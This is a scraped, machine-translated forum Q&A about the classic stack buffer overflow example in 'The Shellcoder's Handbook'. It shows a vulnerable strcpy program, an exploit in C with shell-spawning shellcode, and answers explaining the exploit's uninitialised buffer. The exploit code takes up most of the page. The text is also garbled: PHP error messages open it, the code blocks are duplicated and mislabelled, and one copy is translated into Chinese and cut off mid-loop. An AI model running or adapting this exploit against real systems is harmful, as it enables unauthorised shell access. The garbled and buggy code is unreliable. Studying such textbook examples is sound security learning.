Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/62.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
&引用;外壳编码器&x27;"儿童手册";攻击c没有意义_C_Security_Buffer Overflow_Exploit_Shellcode - Fatal编程技术网

&引用;外壳编码器&x27;"儿童手册";攻击c没有意义

&引用;外壳编码器&x27;"儿童手册";攻击c没有意义,c,security,buffer-overflow,exploit,shellcode,C,Security,Buffer Overflow,Exploit,Shellcode,从“炮弹编码器手册”中,受害者c如下 // victim.c int main(int argc,char *argv[]) { char little_array[512]; if (argc > 1) strcpy(little_array,argv[1]); } #include <stdlib.h> #define offset_size 0 #define buffer_size

从“炮弹编码器手册”中,受害者c如下

// victim.c
int main(int argc,char *argv[])
{
   char little_array[512];

   if (argc > 1) 
      strcpy(little_array,argv[1]);
}
#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)


unsigned long find_start(void) {
   __asm__("movl %esp,%eax"); //Get ESP's value and return it.
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset;
  printf("Attempting address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
       *(addr_ptr++) = addr;

  ptr += 4;

  for (i = 0; i < strlen(sc); i++)
          *(ptr++) = sc[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}
它的漏洞attack.c如下

// victim.c
int main(int argc,char *argv[])
{
   char little_array[512];

   if (argc > 1) 
      strcpy(little_array,argv[1]);
}
#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)


unsigned long find_start(void) {
   __asm__("movl %esp,%eax"); //Get ESP's value and return it.
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset;
  printf("Attempting address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
       *(addr_ptr++) = addr;

  ptr += 4;

  for (i = 0; i < strlen(sc); i++)
          *(ptr++) = sc[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}
#包括
#定义偏移量_大小0
#定义缓冲区大小512
字符sc[]=
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”//外壳代码(生成外壳)
未签名的长查找开始(无效){
__asm_uu(“movl%esp,%eax”);//获取esp的值并返回它。
}
int main(int argc,char*argv[])
{
字符*buff,*ptr;
long*addr_ptr,addr;//addr_ptr:程序检索其保存的EIP时要跳转到的NOP底座的地址。
int offset=偏移量大小,bsize=缓冲区大小;
int i;
如果(argc>1)bsize=atoi(argv[1]);
如果(argc>2)偏移量=atoi(argv[2]);
addr=find_start()-偏移量;
printf(“正在尝试的地址:0x%x\n”,addr);
ptr=buff;
addr_ptr=(长*)ptr;
对于(i=0;i
ptr=buff将buff的垃圾值分配给
ptr
(buff未初始化)。下一行,
addr_ptr=(long*)ptr
,将
ptr
的值(
buff
的垃圾值)分配给
addr\u ptr
。我不清楚作者在这些方面的意图。addr_ptr应该包含程序在检索保存的EIP时跳转到的地址,最好是NOP底座。但是,
addr\u ptr
包含垃圾值

我认为应该首先使用malloc动态分配
buff

我知道《Shellcoder手册》有很多错误,但它是为数不多的几本关于软件开发的书之一。

第26行

addr = find_start() - offset;
addr
设置为目标返回地址,因此它不是真正的垃圾

据我所知,作者所做的是首先用
addr
重复地填充整个缓冲区,这样既可以作为垃圾数据,也可以作为覆盖存储的EIP的返回地址。此外,如果缓冲区在堆栈上的DWORD对齐良好,这样做允许他们不关心放置返回地址的正确偏移量

然后用
BUF=
覆盖该缓冲区“垃圾数据部分”的开头,后跟外壳代码。这是因为
BUF=
的长度为4,因此不会破坏DWORD对齐

是应分配buff
。请注意,如果您在以下页面中检查了
nopatack.c
,其中他们将NOP底座添加到攻击中,那么您会看到它确实在第28行分配:

  if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
  }

此外,如果您比较
attack.c
nopatack.c
,这些代码有相当大的差异(分配、变量和函数名,
#定义大写的
常量…),这让人惊讶,因为后者的代码应该是前者之后的一次迭代。这表明他们在写这本书(或第二版)时,可能在某个时候进行了重构,错误可能来自于此。

我已经考虑过了,我认为仍然应该进行malloced